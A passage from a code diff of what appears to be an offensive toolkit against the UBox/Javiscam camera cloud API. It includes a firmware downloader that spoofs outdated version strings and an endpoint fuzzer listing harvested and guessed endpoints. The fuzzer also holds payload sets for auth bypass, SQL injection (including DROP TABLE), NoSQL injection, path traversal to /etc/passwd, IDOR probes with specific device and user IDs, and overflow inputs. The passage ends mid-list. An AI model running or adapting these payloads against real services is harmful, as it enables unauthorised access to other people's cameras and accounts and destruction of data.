||||||
|
summary_rows="\n".join(rows),
|
||||||
|
detailed_sections="\n".join(sections),
|
||||||
|
)
|
||||||
|
|
||||||
|
out_path = os.path.join(REPORT_DIR, f"cve_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.md")
|
||||||
|
with open(out_path, "w") as f:
|
||||||
|
f.write(report)
|
||||||
|
log(f"CVE report written: {out_path}", C_IMPORTANT)
|
||||||
|
return out_path
|
||||||
204
api/firmware_fetch.py
Normal file
204
api/firmware_fetch.py
Normal file
@@ -0,0 +1,204 @@
|
|||||||
|
"""
|
||||||
|
Firmware download helper.
|
||||||
|
|
||||||
|
Calls the UBox cloud `check_version` endpoint, extracts every URL it sees in
|
||||||
|
the response, downloads each one to ~/dumps/javiscam_fw/, and reports sizes
|
||||||
|
and sha256 hashes. Real code — no stubs, no placeholders.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import urllib.request
|
||||||
|
import urllib.error
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
|
||||||
|
from api import ubox_client
|
||||||
|
|
||||||
|
|
||||||
|
FW_DIR = os.path.expanduser("~/dumps/javiscam_fw")
|
||||||
|
URL_RE = re.compile(rb'https?://[^\s"\']+')
|
||||||
|
|
||||||
|
|
||||||
|
def _walk_strings(obj):
|
||||||
|
"""Yield every string value in a nested dict/list."""
|
||||||
|
if isinstance(obj, str):
|
||||||
|
yield obj
|
||||||
|
elif isinstance(obj, dict):
|
||||||
|
for v in obj.values():
|
||||||
|
yield from _walk_strings(v)
|
||||||
|
elif isinstance(obj, list):
|
||||||
|
for v in obj:
|
||||||
|
yield from _walk_strings(v)
|
||||||
|
|
||||||
|
|
||||||
|
def _extract_urls(obj):
|
||||||
|
urls = set()
|
||||||
|
for s in _walk_strings(obj):
|
||||||
|
for m in URL_RE.findall(s.encode("utf-8")):
|
||||||
|
urls.add(m.decode("utf-8", errors="replace"))
|
||||||
|
return sorted(urls)
|
||||||
|
|
||||||
|
|
||||||
|
def _safe_filename(url):
|
||||||
|
name = url.split("?")[0].rsplit("/", 1)[-1] or "firmware.bin"
|
||||||
|
name = re.sub(r"[^A-Za-z0-9._-]", "_", name)
|
||||||
|
if not name:
|
||||||
|
name = "firmware.bin"
|
||||||
|
return name
|
||||||
|
|
||||||
|
|
||||||
|
def _download(url, dest):
|
||||||
|
req = urllib.request.Request(url, headers={
|
||||||
|
"User-Agent": "okhttp/4.9.1",
|
||||||
|
"X-UbiaAPI-CallContext": "source=app&app=ubox&ver=1.1.360&osver=14",
|
||||||
|
})
|
||||||
|
with urllib.request.urlopen(req, timeout=60) as resp:
|
||||||
|
total = 0
|
||||||
|
h = hashlib.sha256()
|
||||||
|
with open(dest, "wb") as f:
|
||||||
|
while True:
|
||||||
|
chunk = resp.read(64 * 1024)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
f.write(chunk)
|
||||||
|
h.update(chunk)
|
||||||
|
total += len(chunk)
|
||||||
|
return total, h.hexdigest(), resp.headers.get("Content-Type", "?")
|
||||||
|
|
||||||
|
|
||||||
|
def check_and_download(cfg, host_version=None):
|
||||||
|
"""
|
||||||
|
Returns dict:
|
||||||
|
{
|
||||||
|
"ok": bool,
|
||||||
|
"url_count": int,
|
||||||
|
"downloads": [{"url","path","bytes","sha256","content_type"}],
|
||||||
|
"raw": <response json>,
|
||||||
|
"error": optional str,
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
if not cfg.get("api_token"):
|
||||||
|
log("FW: not logged in", C_ERROR)
|
||||||
|
return {"ok": False, "error": "not logged in"}
|
||||||
|
if not cfg.get("device_uid"):
|
||||||
|
log("FW: no device_uid — call /devices first", C_ERROR)
|
||||||
|
return {"ok": False, "error": "no device_uid"}
|
||||||
|
|
||||||
|
os.makedirs(FW_DIR, exist_ok=True)
|
||||||
|
|
||||||
|
# Try several version formats — the cloud needs a string the device-side
|
||||||
|
# comparator considers "older than current" to trigger a download URL.
|
||||||
|
version_attempts = [host_version] if host_version else [
|
||||||
|
"2604.0.0.1", # same model prefix, ancient
|
||||||
|
"1.0.0.0",
|
||||||
|
"0.0.0.1",
|
||||||
|
"2604.0.29.7", # one below known shipped version
|
||||||
|
"0",
|
||||||
|
"",
|
||||||
|
]
|
||||||
|
|
||||||
|
result = None
|
||||||
|
used_version = None
|
||||||
|
attempts_log = [] # list of (version, status, summary)
|
||||||
|
best_success = None # remember the best msg=success response even without URLs
|
||||||
|
|
||||||
|
for v in version_attempts:
|
||||||
|
log(f"FW: trying check_version with host_version={v!r}", C_INFO)
|
||||||
|
candidate = ubox_client.api_post(
|
||||||
|
cfg["api_base"],
|
||||||
|
"user/qry/device/check_version/v3",
|
||||||
|
{
|
||||||
|
"device_uid": cfg["device_uid"],
|
||||||
|
"host_version": v,
|
||||||
|
"wifi_version": v,
|
||||||
|
"is_lite": False,
|
||||||
|
"zone_id": 2,
|
||||||
|
},
|
||||||
|
cfg["api_token"],
|
||||||
|
)
|
||||||
|
summary = json.dumps(candidate)[:200] if isinstance(candidate, dict) else repr(candidate)[:200]
|
||||||
|
attempts_log.append({"version": v, "summary": summary})
|
||||||
|
|
||||||
|
if not isinstance(candidate, dict):
|
||||||
|
continue
|
||||||
|
|
||||||
|
urls_found = _extract_urls(candidate)
|
||||||
|
if urls_found:
|
||||||
|
log(f"FW: got {len(urls_found)} URL(s) using version={v!r}", C_SUCCESS)
|
||||||
|
result = candidate
|
||||||
|
used_version = v
|
||||||
|
break
|
||||||
|
|
||||||
|
if candidate.get("msg") == "success" and best_success is None:
|
||||||
|
best_success = (v, candidate)
|
||||||
|
|
||||||
|
log(f"FW: no URLs at version={v!r}, response={summary}", C_INFO)
|
||||||
|
|
||||||
|
if result is None:
|
||||||
|
if best_success is not None:
|
||||||
|
used_version, result = best_success
|
||||||
|
log(f"FW: keeping best success response from version={used_version!r}", C_INFO)
|
||||||
|
else:
|
||||||
|
result = candidate if isinstance(candidate, dict) else {"error": "all versions failed"}
|
||||||
|
|
||||||
|
if not isinstance(result, dict):
|
||||||
|
log(f"FW: bad response: {result!r}", C_ERROR)
|
||||||
|
return {"ok": False, "error": "bad response", "raw": result}
|
||||||
|
|
||||||
|
# Save the raw response next to firmware files for the record
|
||||||
|
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
meta_path = os.path.join(FW_DIR, f"check_version_{ts}.json")
|
||||||
|
try:
|
||||||
|
with open(meta_path, "w") as f:
|
||||||
|
json.dump(result, f, indent=2, ensure_ascii=False)
|
||||||
|
except OSError as e:
|
||||||
|
log(f"FW: cannot save meta: {e}", C_ERROR)
|
||||||
|
|
||||||
|
urls = _extract_urls(result)
|
||||||
|
log(f"FW: response saved -> {meta_path}", C_INFO)
|
||||||
|
log(f"FW: found {len(urls)} URL(s) in response", C_INFO)
|
||||||
|
for u in urls:
|
||||||
|
log(f" • {u}", C_TRAFFIC)
|
||||||
|
|
||||||
|
downloads = []
|
||||||
|
for url in urls:
|
||||||
|
# Only attempt downloads of plausible binary blobs
|
||||||
|
lower = url.lower()
|
||||||
|
if not any(lower.endswith(ext) or ext in lower for ext in
|
||||||
|
(".bin", ".rar", ".zip", ".tar", ".gz", ".img", ".pkg",
|
||||||
|
"/firmware", "/ota", "ubiaota", "update")):
|
||||||
|
log(f" skip (not firmware-looking): {url}", C_INFO)
|
||||||
|
continue
|
||||||
|
fname = _safe_filename(url)
|
||||||
|
dest = os.path.join(FW_DIR, fname)
|
||||||
|
try:
|
||||||
|
log(f"FW: downloading {url}", C_INFO)
|
||||||
|
n, sha, ct = _download(url, dest)
|
||||||
|
log(f"FW: ✓ {fname} {n}B sha256={sha[:16]}… ct={ct}",
|
||||||
|
C_IMPORTANT if n > 1024 else C_TRAFFIC)
|
||||||
|
downloads.append({
|
||||||
|
"url": url, "path": dest, "bytes": n,
|
||||||
|
"sha256": sha, "content_type": ct,
|
||||||
|
})
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
log(f"FW: HTTP {e.code} on {url}", C_ERROR)
|
||||||
|
except urllib.error.URLError as e:
|
||||||
|
log(f"FW: URL error: {e.reason} on {url}", C_ERROR)
|
||||||
|
except (socket.timeout, OSError) as e:
|
||||||
|
log(f"FW: download failed: {e}", C_ERROR)
|
||||||
|
|
||||||
|
if not downloads:
|
||||||
|
log("FW: nothing downloaded — check_version returned no firmware URLs", C_ERROR)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"ok": bool(downloads),
|
||||||
|
"used_version": used_version,
|
||||||
|
"url_count": len(urls),
|
||||||
|
"downloads": downloads,
|
||||||
|
"attempts": attempts_log,
|
||||||
|
"raw": result,
|
||||||
|
}
|
||||||
644
api/fuzzer.py
Normal file
644
api/fuzzer.py
Normal file
@@ -0,0 +1,644 @@
|
|||||||
|
"""API endpoint fuzzer — discovers hidden endpoints and tests auth/param vulnerabilities"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import threading
|
||||||
|
import urllib.request
|
||||||
|
import urllib.error
|
||||||
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT
|
||||||
|
|
||||||
|
# Known endpoints harvested from decompiled UBox APK (146 confirmed)
|
||||||
|
KNOWN_ENDPOINTS = [
|
||||||
|
"account_link", "activate_subscription_paypal", "addOrder",
|
||||||
|
"alipaySign", "alipayVerify",
|
||||||
|
"app/customer_support_info", "app/getconfig", "app/getSupportInfoV2",
|
||||||
|
"app/info", "app/push_channel_reg", "app/version_check",
|
||||||
|
"captcha", "capture_paypal_order", "create_payment_paypal_app",
|
||||||
|
"email_user_candidates", "interface", "interface.php",
|
||||||
|
"ip2region", "ip2region_parse", "lgc/bind_err", "login_openauth",
|
||||||
|
"mobile-info", "mt/biz/alipaySign", "mt/biz/card_service_add_order",
|
||||||
|
"mt/biz/card_service_list", "mt/biz/uid_service_add_order",
|
||||||
|
"mt/biz/uid_service_list", "mt/biz/uid_service_order_list",
|
||||||
|
"mt-login", "mt/logout", "mt/orc-import", "mt/unbind", "old",
|
||||||
|
"pub/app/customer_support_info/v2", "pub/app/get_multi_language_contents",
|
||||||
|
"pub/location/get_location_codes", "pub/location/rev_geocoding",
|
||||||
|
"pub/usersupport/get_guest_im_file_url", "pub/usersupport/get_guest_im_info",
|
||||||
|
"pub/usersupport/get_guest_session",
|
||||||
|
"pub/usersupport/get_im_groups_user_unread_count",
|
||||||
|
"pub/usersupport/get_staff_avatar_url", "pub/usersupport/put_guest_im_file",
|
||||||
|
"push-ack", "reset_pwd", "send_code", "service_list",
|
||||||
|
"share_permissions", "temp_token", "ticket_title",
|
||||||
|
"user/account/add_location", "user/account/get_current_user",
|
||||||
|
"user/account_link", "user/alexa_account_status",
|
||||||
|
"user/auth", "user/auth-email",
|
||||||
|
"user/card4g-info", "user/card4g_info", "user/card4g-order-add",
|
||||||
|
"user/card4g-packages", "user/card/card4g_info/v2", "user/card/unlock",
|
||||||
|
"user/check_version", "user/cloud_list",
|
||||||
|
"user/cloudvideo/put_event_tag",
|
||||||
|
"user/confirm_ptz_snap", "user/del_ptz_snap",
|
||||||
|
"user/device-add", "user/device-add-token",
|
||||||
|
"user/device-alexa", "user/device-alexa-ust",
|
||||||
|
"user/device_del", "user/device_edit", "user/device-extra-update",
|
||||||
|
"user/device/get_apn_info", "user/device/get_binding_info",
|
||||||
|
"user/device/get_dev_diag_help_doc",
|
||||||
|
"user/device_list", "user/device/list_ordering",
|
||||||
|
"user/device-notice-setting", "user/device/share",
|
||||||
|
"user/device/share_do/v2", "user/device-share-info",
|
||||||
|
"user/device_shares", "user/device_share_tbc",
|
||||||
|
"user/device-share-update", "user/device-temp-token",
|
||||||
|
"user/device/try_fix_for_add_4g_device", "user/device_unshare",
|
||||||
|
"user/email_user_candidates", "user/event_calendar",
|
||||||
|
"user/event_do", "user/faceId", "user/families", "user/family",
|
||||||
|
"user/friend", "user/friends",
|
||||||
|
"user/get_cloud_video_url", "user/get_devices_dynamic_info",
|
||||||
|
"user/get_ptz_snap", "user/logout", "user/modify_pwd",
|
||||||
|
"user/notice_type", "user/noti/device/info_changed",
|
||||||
|
"user/online_service", "user/order_add",
|
||||||
|
"user/order/card4g_order_create_dev_noadd",
|
||||||
|
"user/order/order_add/v2", "user/product_info",
|
||||||
|
"user/product_purchasable",
|
||||||
|
"user/purchase/card4g_packages_dev_noadd",
|
||||||
|
"user/push_channel_update", "user/put_ptz_snap",
|
||||||
|
"user/qry/aggregate/app_on_switch_foreground",
|
||||||
|
"user/qry/device/add_help_doc", "user/qry/device/bind_issue",
|
||||||
|
"user/qry/device/check_version/v3", "user/qry/device/device_services",
|
||||||
|
"user/qry/device/info_for_add", "user/qry/device/query_add_result",
|
||||||
|
"user/qry/notification/detail", "user/qry/notification/get",
|
||||||
|
"user/qry/order/list/v2",
|
||||||
|
"user/qry/purchase/4g_packages_dev_noadd",
|
||||||
|
"user/qry/purchase/4g_packages/v3", "user/qry/purchase/product_list",
|
||||||
|
"user/revoke", "user/service_trial",
|
||||||
|
"user/update_friend_remark", "user/update_user_info",
|
||||||
|
"user/upgrade_order",
|
||||||
|
"user/usersupport/get_app_user_im_group",
|
||||||
|
"user/usersupport/get_app_user_im_groups",
|
||||||
|
"user/usersupport/get_app_user_im_session",
|
||||||
|
"user/usersupport/get_app_user_im_token",
|
||||||
|
"user/usersupport/get_im_file_url",
|
||||||
|
"user/usersupport/get_im_groups_info",
|
||||||
|
"user/usersupport/get_issue_type_and_dev_light_state",
|
||||||
|
"user/usersupport/put_im_file",
|
||||||
|
"v2/user/device_list", "v2/user/get_devices_info",
|
||||||
|
"v3/login",
|
||||||
|
"valid_code", "wxpay", "wxpay_check",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Wordlist for endpoint discovery
|
||||||
|
ENDPOINT_WORDLIST = [
|
||||||
|
# ── User management ──────────────────────────────
|
||||||
|
"user/info", "user/profile", "user/settings", "user/delete",
|
||||||
|
"user/update", "user/list", "user/devices", "user/sessions",
|
||||||
|
"user/tokens", "user/permissions", "user/roles", "user/admin",
|
||||||
|
"user/logout", "user/register", "user/verify", "user/activate",
|
||||||
|
"user/deactivate", "user/ban", "user/unban", "user/search",
|
||||||
|
"user/export", "user/import", "user/backup", "user/restore",
|
||||||
|
"user/avatar", "user/nickname", "user/email", "user/phone",
|
||||||
|
"user/password", "user/change_password", "user/modify_password",
|
||||||
|
"user/reset_password", "user/forgot_password",
|
||||||
|
"user/notification", "user/notifications", "user/notice",
|
||||||
|
"user/message", "user/messages", "user/inbox",
|
||||||
|
"user/subscription", "user/subscriptions", "user/plan",
|
||||||
|
"user/billing", "user/payment", "user/order", "user/orders",
|
||||||
|
"user/coupon", "user/coupons", "user/invite", "user/referral",
|
||||||
|
"user/feedback", "user/report", "user/ticket", "user/tickets",
|
||||||
|
"user/log", "user/logs", "user/activity", "user/history",
|
||||||
|
"user/preferences", "user/config", "user/token",
|
||||||
|
"user/refresh_token", "user/access_token",
|
||||||
|
"user/third_party", "user/bind", "user/unbind",
|
||||||
|
"user/wechat", "user/facebook", "user/google", "user/apple",
|
||||||
|
# ── User + device compound paths (ubox pattern) ──
|
||||||
|
"user/device/list", "user/device/add", "user/device/del",
|
||||||
|
"user/device/remove", "user/device/bind", "user/device/unbind",
|
||||||
|
"user/device/share", "user/device/unshare", "user/device/transfer",
|
||||||
|
"user/device/rename", "user/device/info", "user/device/config",
|
||||||
|
"user/device/settings", "user/device/status", "user/device/online",
|
||||||
|
"user/device/offline", "user/device/reboot", "user/device/reset",
|
||||||
|
"user/device/upgrade", "user/device/firmware",
|
||||||
|
"user/device/command", "user/device/control",
|
||||||
|
"user/device/snapshot", "user/device/capture",
|
||||||
|
"user/device/recording", "user/device/playback",
|
||||||
|
"user/device/event", "user/device/events", "user/device/alarm",
|
||||||
|
"user/device/alarms", "user/device/alert", "user/device/alerts",
|
||||||
|
"user/device/log", "user/device/logs",
|
||||||
|
"user/device/stream", "user/device/live", "user/device/video",
|
||||||
|
"user/device/audio", "user/device/speaker",
|
||||||
|
"user/device/ptz", "user/device/pan", "user/device/tilt",
|
||||||
|
"user/device/zoom", "user/device/preset",
|
||||||
|
"user/device/motion", "user/device/detection",
|
||||||
|
"user/device/sensitivity", "user/device/schedule",
|
||||||
|
"user/device/wifi", "user/device/network",
|
||||||
|
"user/device/sd", "user/device/sdcard", "user/device/storage",
|
||||||
|
"user/device/format", "user/device/format_sd",
|
||||||
|
"user/device/led", "user/device/ir", "user/device/night_vision",
|
||||||
|
"user/device/osd", "user/device/time", "user/device/timezone",
|
||||||
|
"user/device/battery", "user/device/power",
|
||||||
|
"user/device/sim", "user/device/4g", "user/device/signal",
|
||||||
|
"user/device/iccid", "user/device/imei",
|
||||||
|
# ── Query paths (ubox pattern: user/qry/) ────────
|
||||||
|
"user/qry/device/list", "user/qry/device/info",
|
||||||
|
"user/qry/device/status", "user/qry/device/config",
|
||||||
|
"user/qry/device/firmware", "user/qry/device/version",
|
||||||
|
"user/qry/device/check_version", "user/qry/device/check_version/v2",
|
||||||
|
"user/qry/device/events", "user/qry/device/alarms",
|
||||||
|
"user/qry/device/logs", "user/qry/device/recordings",
|
||||||
|
"user/qry/device/cloud_videos", "user/qry/device/snapshots",
|
||||||
|
"user/qry/device/battery", "user/qry/device/signal",
|
||||||
|
"user/qry/device/network", "user/qry/device/wifi",
|
||||||
|
"user/qry/device/storage", "user/qry/device/sd",
|
||||||
|
"user/qry/device/sim", "user/qry/device/4g",
|
||||||
|
"user/qry/user/info", "user/qry/user/devices",
|
||||||
|
"user/qry/user/subscriptions", "user/qry/user/orders",
|
||||||
|
# ── Versioned endpoints ──────────────────────────
|
||||||
|
"v1/login", "v2/login", "v4/login",
|
||||||
|
"v1/user/device_list", "v3/user/device_list",
|
||||||
|
"v1/user/families", "v2/user/families", "v3/user/families",
|
||||||
|
"v1/user/cloud_list", "v3/user/cloud_list",
|
||||||
|
"v2/user/check_version", "v3/user/check_version",
|
||||||
|
"v1/user/event_calendar", "v2/user/event_calendar",
|
||||||
|
"v2/user/qry/device/device_services",
|
||||||
|
"v3/user/qry/device/device_services",
|
||||||
|
"v2/user/qry/device/check_version/v3",
|
||||||
|
# ── Device (direct) ──────────────────────────────
|
||||||
|
"device/list", "device/info", "device/config", "device/settings",
|
||||||
|
"device/firmware", "device/update", "device/reboot", "device/reset",
|
||||||
|
"device/logs", "device/events", "device/status", "device/command",
|
||||||
|
"device/stream", "device/snapshot", "device/recording",
|
||||||
|
"device/share", "device/unshare", "device/transfer",
|
||||||
|
"device/debug", "device/shell", "device/telnet", "device/ssh",
|
||||||
|
"device/console", "device/terminal", "device/exec",
|
||||||
|
"device/control", "device/ioctrl", "device/iotctrl",
|
||||||
|
"device/p2p", "device/connect", "device/disconnect",
|
||||||
|
"device/wakeup", "device/sleep", "device/standby",
|
||||||
|
"device/register", "device/unregister", "device/provision",
|
||||||
|
"device/activate", "device/deactivate",
|
||||||
|
"device/ota", "device/ota/check", "device/ota/download",
|
||||||
|
"device/ota/status", "device/ota/history",
|
||||||
|
# ── Admin ────────────────────────────────────────
|
||||||
|
"admin/users", "admin/devices", "admin/logs", "admin/config",
|
||||||
|
"admin/stats", "admin/dashboard", "admin/system", "admin/debug",
|
||||||
|
"admin/firmware", "admin/update", "admin/backup", "admin/restore",
|
||||||
|
"admin/login", "admin/panel", "admin/console",
|
||||||
|
"admin/user/list", "admin/user/create", "admin/user/delete",
|
||||||
|
"admin/device/list", "admin/device/config", "admin/device/firmware",
|
||||||
|
"admin/audit", "admin/audit/log", "admin/security",
|
||||||
|
"admin/api/keys", "admin/api/tokens", "admin/api/stats",
|
||||||
|
"admin/cloud/config", "admin/cloud/keys", "admin/cloud/storage",
|
||||||
|
"admin/ota/upload", "admin/ota/list", "admin/ota/deploy",
|
||||||
|
"admin/push", "admin/notification", "admin/broadcast",
|
||||||
|
"manage/users", "manage/devices", "manage/firmware",
|
||||||
|
"management/users", "management/devices",
|
||||||
|
"internal/users", "internal/devices", "internal/debug",
|
||||||
|
"internal/config", "internal/health", "internal/metrics",
|
||||||
|
# ── System / infra ───────────────────────────────
|
||||||
|
"system/info", "system/version", "system/health", "system/status",
|
||||||
|
"system/config", "system/debug", "system/logs", "system/metrics",
|
||||||
|
"system/time", "system/restart", "system/shutdown",
|
||||||
|
# ── Firmware / OTA ───────────────────────────────
|
||||||
|
"firmware/list", "firmware/download", "firmware/upload",
|
||||||
|
"firmware/latest", "firmware/check", "firmware/update",
|
||||||
|
"firmware/history", "firmware/rollback", "firmware/versions",
|
||||||
|
"ota/check", "ota/download", "ota/status", "ota/list",
|
||||||
|
"ota/upload", "ota/deploy", "ota/history", "ota/config",
|
||||||
|
# ── Cloud / storage ──────────────────────────────
|
||||||
|
"cloud/config", "cloud/status", "cloud/keys",
|
||||||
|
"cloud/storage", "cloud/video", "cloud/events",
|
||||||
|
"cloud/upload", "cloud/download", "cloud/list",
|
||||||
|
"cloud/delete", "cloud/share", "cloud/token",
|
||||||
|
"cloud/subscription", "cloud/plan", "cloud/usage",
|
||||||
|
"storage/list", "storage/upload", "storage/download",
|
||||||
|
"storage/delete", "storage/quota", "storage/usage",
|
||||||
|
# ── Push / notification ──────────────────────────
|
||||||
|
"push/config", "push/send", "push/test", "push/token",
|
||||||
|
"push/register", "push/unregister", "push/channels",
|
||||||
|
"notification/list", "notification/send", "notification/config",
|
||||||
|
"notification/test", "notification/token",
|
||||||
|
# ── P2P / streaming ──────────────────────────────
|
||||||
|
"p2p/config", "p2p/server", "p2p/relay", "p2p/status",
|
||||||
|
"p2p/connect", "p2p/disconnect", "p2p/session",
|
||||||
|
"p2p/sessions", "p2p/token", "p2p/auth",
|
||||||
|
"stream/start", "stream/stop", "stream/status",
|
||||||
|
"stream/config", "stream/token", "stream/url",
|
||||||
|
"rtsp/config", "rtsp/url", "rtsp/token",
|
||||||
|
"live/start", "live/stop", "live/status", "live/url",
|
||||||
|
# ── AI / detection ───────────────────────────────
|
||||||
|
"ai/config", "ai/status", "ai/detect", "ai/face",
|
||||||
|
"ai/person", "ai/motion", "ai/object", "ai/model",
|
||||||
|
"ai/train", "ai/results", "ai/history",
|
||||||
|
"detection/config", "detection/zones", "detection/sensitivity",
|
||||||
|
"detection/schedule", "detection/history",
|
||||||
|
# ── SIM / 4G ─────────────────────────────────────
|
||||||
|
"sim/info", "sim/status", "sim/activate", "sim/deactivate",
|
||||||
|
"sim/data", "sim/usage", "sim/plan", "sim/recharge",
|
||||||
|
"sim/config", "sim/apn", "sim/carrier",
|
||||||
|
"4g/info", "4g/status", "4g/signal", "4g/config",
|
||||||
|
"card4g-info", "user/card4g-info",
|
||||||
|
"v3/user/card4g-info",
|
||||||
|
# ── Payment / billing ────────────────────────────
|
||||||
|
"pay/order", "pay/orders", "pay/create", "pay/callback",
|
||||||
|
"pay/verify", "pay/refund", "pay/status",
|
||||||
|
"pay/subscription", "pay/subscriptions",
|
||||||
|
"pay/products", "pay/plans", "pay/pricing",
|
||||||
|
"billing/info", "billing/history", "billing/invoice",
|
||||||
|
# ── Auth / OAuth ─────────────────────────────────
|
||||||
|
"auth/token", "auth/refresh", "auth/verify", "auth/revoke",
|
||||||
|
"auth/login", "auth/logout", "auth/register",
|
||||||
|
"auth/password", "auth/reset", "auth/code",
|
||||||
|
"oauth/authorize", "oauth/token", "oauth/callback",
|
||||||
|
"oauth/revoke", "oauth/userinfo",
|
||||||
|
"sso/login", "sso/callback", "sso/logout",
|
||||||
|
# ── Geographic / location ────────────────────────
|
||||||
|
"pub/location/geocoding", "pub/location/search",
|
||||||
|
"pub/location/timezone", "pub/location/weather",
|
||||||
|
"location/config", "location/geo", "location/address",
|
||||||
|
"query-zid", "query_zid", "get_zone",
|
||||||
|
# ── Misc / discovery ─────────────────────────────
|
||||||
|
"ping", "health", "healthz", "ready", "readyz",
|
||||||
|
"version", "info", "about", "debug", "test", "echo",
|
||||||
|
"status", "config", "metrics", "prometheus",
|
||||||
|
"swagger", "swagger.json", "swagger.yaml",
|
||||||
|
"docs", "api-docs", "api-doc", "redoc",
|
||||||
|
"openapi", "openapi.json", "openapi.yaml",
|
||||||
|
".env", "robots.txt", "sitemap.xml", "favicon.ico",
|
||||||
|
".git/config", ".git/HEAD", "wp-login.php",
|
||||||
|
"graphql", "graphiql", "playground",
|
||||||
|
"websocket", "ws", "socket.io",
|
||||||
|
# ── UBIA-specific guesses ────────────────────────
|
||||||
|
"pub/app/config", "pub/app/version", "pub/app/update",
|
||||||
|
"pub/device/config", "pub/device/version",
|
||||||
|
"pub/firmware/latest", "pub/firmware/list",
|
||||||
|
"pub/notice", "pub/announcement", "pub/banner",
|
||||||
|
"app/config", "app/version", "app/update", "app/feedback",
|
||||||
|
"mt-login", "mt-device", "mt-config",
|
||||||
|
"bind_wechat", "unbind_wechat",
|
||||||
|
"user/get_notification", "user/set_notification",
|
||||||
|
"user/get_push_token", "user/set_push_token",
|
||||||
|
"user/get_privacy", "user/set_privacy",
|
||||||
|
"user/get_cloud_config", "user/set_cloud_config",
|
||||||
|
"user/get_ai_config", "user/set_ai_config",
|
||||||
|
"user/get_detection_config", "user/set_detection_config",
|
||||||
|
"user/get_schedule", "user/set_schedule",
|
||||||
|
"user/get_timezone", "user/set_timezone",
|
||||||
|
"user/get_device_config", "user/set_device_config",
|
||||||
|
"user/get_stream_config", "user/set_stream_config",
|
||||||
|
"user/get_rtsp_url", "user/get_p2p_config",
|
||||||
|
"user/get_firmware_url", "user/get_ota_url",
|
||||||
|
"user/get_device_log", "user/get_crash_log",
|
||||||
|
"user/upload_log", "user/upload_crash",
|
||||||
|
"user/get_cloud_key", "user/get_cloud_secret",
|
||||||
|
"user/get_push_config", "user/set_push_config",
|
||||||
|
"user/reply_get_notification",
|
||||||
|
"user/device_share_list", "user/device_share_add",
|
||||||
|
"user/device_share_del", "user/device_share_accept",
|
||||||
|
"user/device_share_reject",
|
||||||
|
"user/family/add", "user/family/del", "user/family/update",
|
||||||
|
"user/family/list", "user/family/members",
|
||||||
|
"user/family/invite", "user/family/remove_member",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Parameter mutation payloads
|
||||||
|
PARAM_MUTATIONS = {
|
||||||
|
"auth_bypass": [
|
||||||
|
{},
|
||||||
|
{"admin": True},
|
||||||
|
{"role": "admin"},
|
||||||
|
{"is_admin": 1},
|
||||||
|
{"debug": True},
|
||||||
|
{"test": True},
|
||||||
|
{"internal": True},
|
||||||
|
{"bypass": True},
|
||||||
|
{"token": "admin"},
|
||||||
|
{"user_type": "admin"},
|
||||||
|
{"privilege": 9999},
|
||||||
|
{"level": 0},
|
||||||
|
{"auth": "none"},
|
||||||
|
{"skip_auth": True},
|
||||||
|
],
|
||||||
|
"sqli": [
|
||||||
|
{"device_uid": "' OR '1'='1"},
|
||||||
|
{"device_uid": "\" OR \"1\"=\"1"},
|
||||||
|
{"device_uid": "'; DROP TABLE users; --"},
|
||||||
|
{"account": "admin'--"},
|
||||||
|
{"account": "' UNION SELECT * FROM users--"},
|
||||||
|
{"device_uid": "1; WAITFOR DELAY '0:0:5'--"},
|
||||||
|
{"device_uid": "1' AND SLEEP(5)--"},
|
||||||
|
{"account": "admin' AND '1'='1"},
|
||||||
|
{"password": "' OR '1'='1"},
|
||||||
|
{"device_uid": "' UNION SELECT username,password FROM users--"},
|
||||||
|
{"page": "1; DROP TABLE devices--"},
|
||||||
|
{"device_uid": "1' ORDER BY 100--"},
|
||||||
|
],
|
||||||
|
"nosql": [
|
||||||
|
{"device_uid": {"$gt": ""}},
|
||||||
|
{"device_uid": {"$ne": ""}},
|
||||||
|
{"device_uid": {"$regex": ".*"}},
|
||||||
|
{"account": {"$gt": ""}},
|
||||||
|
{"password": {"$ne": "invalid"}},
|
||||||
|
{"$where": "1==1"},
|
||||||
|
{"device_uid": {"$exists": True}},
|
||||||
|
{"account": {"$in": ["admin", "root", "test"]}},
|
||||||
|
],
|
||||||
|
"idor": [
|
||||||
|
{"device_uid": "AAAAAAAAAAAAAAAAAAAAAA"},
|
||||||
|
{"device_uid": "../../../etc/passwd"},
|
||||||
|
{"device_uid": "0"},
|
||||||
|
{"device_uid": "-1"},
|
||||||
|
{"device_uid": "1"},
|
||||||
|
{"user_id": "1"},
|
||||||
|
{"user_id": "0"},
|
||||||
|
{"user_id": "-1"},
|
||||||
|
{"kuid": "1"},
|
||||||
|
{"kuid": "1000000000"},
|
||||||
|
{"kuid": "1006072344"},
|
||||||
|
{"uuid": "admin"},
|
||||||
|
{"family": 1},
|
||||||
|
{"family_id": "1"},
|
||||||
|
{"id": 1},
|
||||||
|
{"id": 0},
|
||||||
|
{"device_uid": "AAAAAAAAAAAAAAAAAAAA"},
|
||||||
|
{"device_uid": "J7HYJJFFFXRDKBYGPVR0"},
|
||||||
|
{"device_uid": "J7HYJJFFFXRDKBYGPVR1"},
|
||||||
|
],
|
||||||
|
"overflow": [
|
||||||
|
{"device_uid": "A" * 500},
|
||||||
|
{"device_uid": "A" * 10000},
|
||||||
|
{"device_uid": "A" * 100000},
|
||||||
|
{"page": 999999},
|
||||||
|
{"page": -1},
|
||||||
|
{"page": 0},
|
||||||
|
{"count": -1},
|
||||||
|
{"count": 0},
|
||||||
|
{"count": 999999},
|
||||||
|
{"page_num": 2147483647},
|
||||||
|
{"zone_id": 2147483647},
|
||||||
|
{"zone_id": -2147483648},
|
||||||
|
{"device_uid": "\x00" * 100},
|
||||||
|
{"account": "A" * 10000},
|
||||||
|
],
|
||||||
|
"type_confusion": [
|
||||||
